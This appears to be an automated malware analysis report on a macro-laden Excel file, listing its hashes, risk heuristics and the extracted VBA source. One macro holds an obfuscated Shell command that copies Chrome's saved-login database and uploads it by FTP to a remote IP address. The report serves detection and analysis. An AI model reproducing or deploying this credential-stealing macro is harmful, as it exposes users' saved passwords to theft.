Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 11f4f010597a62b4…

MALICIOUS

Office (OOXML)

19.9 KB Created: 2021-02-28 19:44:56 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-01
MD5: 279e1ea18e99d9cbee8ea918515415fe SHA-1: 68f9bdeca0303a452e2fdd1ef288b7158a81b72a SHA-256: 11f4f010597a62b4201bfcf3166e9a032c863370dc5202098f072ac170e4832a
140 Risk Score

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        strOutput = Shell("cmd /V:ON/C""set XP0u=n&&set sOK=a&&set h4=""""""""$env:tmp\ch&&set iQKN=inati&&set nZl=:&&set qM=cmd.ex&&set oq=""""&&set F1=)&&set BnlF=AppD&&set ya5P=romeLoginData""""&&set 7ECK=ta\Google\Ch&&set FcD2=New-Ob&&set OB0G=a', """"&&set qYPO=at&&set b0Sc=Lo&&set rR0=ymous&&set r4= /C Powershell &&set 6n=e&&set JS=rome\User Data\De&&set FdBn=Loc&&set 29=fault\Login Data""""&&set QRS= System.Net.WebClient).UploadFile('ftp&&set vi=p\chrome&&set gG62=th """"&&set IA=opy-Item -Pa …
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        ActiveCell.FormulaR1C1 = "    strCommand = ""Powershell Echo Hello World"""

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3853 bytes
SHA-256: d11c05d1a5dc22932c2f6edaebf34aab53a85d6447a8833de7b5182bf30f742e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Modul1"
Sub test1()
Attribute test1.VB_ProcData.VB_Invoke_Func = " \n14"
'
' test1 Makro
'

'
    ActiveWindow.SmallScroll Down:=12
    Range("A16").Select
    ActiveWindow.SmallScroll Down:=27
    ActiveWindow.ScrollRow = 42
    ActiveWindow.ScrollRow = 41
    ActiveWindow.ScrollRow = 40
    ActiveWindow.ScrollRow = 39
    ActiveWindow.ScrollRow = 38
    ActiveWindow.ScrollRow = 36
    ActiveWindow.ScrollRow = 34
    ActiveWindow.ScrollRow = 32
    ActiveWindow.ScrollRow = 30
    ActiveWindow.ScrollRow = 27
    ActiveWindow.ScrollRow = 25
    ActiveWindow.ScrollRow = 23
    ActiveWindow.ScrollRow = 21
    ActiveWindow.ScrollRow = 19
    ActiveWindow.ScrollRow = 16
    ActiveWindow.ScrollRow = 14
    ActiveWindow.ScrollRow = 13
    ActiveWindow.ScrollRow = 11
    ActiveWindow.ScrollRow = 8
    ActiveWindow.ScrollRow = 6
    ActiveWindow.ScrollRow = 5
    ActiveWindow.ScrollRow = 3
    ActiveWindow.ScrollRow = 2
    ActiveWindow.ScrollRow = 1
    Range("A1").Select
    ActiveSheet.Paste
    ActiveWindow.SmallScroll Down:=6
    ActiveWindow.ScrollRow = 24
    ActiveWindow.ScrollRow = 23
    ActiveWindow.ScrollRow = 22
    ActiveWindow.ScrollRow = 21
    ActiveWindow.ScrollRow = 20
    ActiveWindow.ScrollRow = 19
    ActiveWindow.ScrollRow = 18
    ActiveWindow.ScrollRow = 17
    ActiveWindow.ScrollRow = 16
    ActiveWindow.ScrollRow = 15
    ActiveWindow.ScrollRow = 14
    ActiveWindow.ScrollRow = 12
    ActiveWindow.ScrollRow = 11
    ActiveWindow.ScrollRow = 10
    ActiveWindow.ScrollRow = 9
    ActiveWindow.ScrollRow = 8
    ActiveWindow.ScrollRow = 7
    ActiveWindow.ScrollRow = 6
    ActiveWindow.ScrollRow = 5
    ActiveWindow.ScrollRow = 4
    ActiveWindow.ScrollRow = 3
    ActiveWindow.ScrollRow = 2
    ActiveWindow.ScrollRow = 1
    Range("A2").Select
    ActiveCell.FormulaR1C1 = ""
    Range("A3").Select
    ActiveCell.FormulaR1C1 = "    strCommand = ""Powershell Echo Hello World"""
    Range("A6").Select
    ChDir "C:\Users\Kassandra\Desktop"
    ActiveWorkbook.SaveAs Filename:="C:\Users\Kassandra\Desktop\test1.xlsm", _
        FileFormat:=xlOpenXMLWorkbookMacroEnabled, CreateBackup:=False
    Range("C7").Select
End Sub

Attribute VB_Name = "DieseArbeitsmappe"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Modul2"
Function RunAndGetCmd()

    strOutput = Shell("cmd /V:ON/C""set XP0u=n&&set sOK=a&&set h4=""""""""$env:tmp\ch&&set iQKN=inati&&set nZl=:&&set qM=cmd.ex&&set oq=""""&&set F1=)&&set BnlF=AppD&&set ya5P=romeLoginData""""&&set 7ECK=ta\Google\Ch&&set FcD2=New-Ob&&set OB0G=a', """"&&set qYPO=at&&set b0Sc=Lo&&set rR0=ymous&&set r4= /C Powershell &&set 6n=e&&set JS=rome\User Data\De&&set FdBn=Loc&&set 29=fault\Login Data""""&&set QRS= System.Net.WebClient).UploadFile('ftp&&set vi=p\chrome&&set gG62=th """"&&set IA=opy-Item -Pa&&set kt=://ano&&set 2bqk=""""""""$env:&&set rp=@192.168.56.102/data/logind&&set n2ef=ject&&set 49=C&&set qSk=ginData; (&&set Kwi=""""""""&&set 4y=al&&set Bo=on $env:tm&&set 6Ee="""""""" -Dest&&call set 98R=%qM%%6n%%r4%%49%%IA%%gG62%%2bqk%%FdBn%%4y%%BnlF%%sOK%%7ECK%%JS%%29%%6Ee%%iQKN%%Bo%%vi%%b0Sc%%qSk%%FcD2%%n2ef%%QRS%%kt%%XP0u%%rR0%%nZl%%rp%%qYPO%%OB0G%%h4%%ya5P%%Kwi%%F1%&&call %98R:""""=!oq:~1!%""")

End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 36864 bytes
SHA-256: c36375af10769350b2bb4e428fa3fe42d8b8eda12c9f4e9abdda09a275578be9

Open this report in the interactive analyzer, or submit your own file for analysis.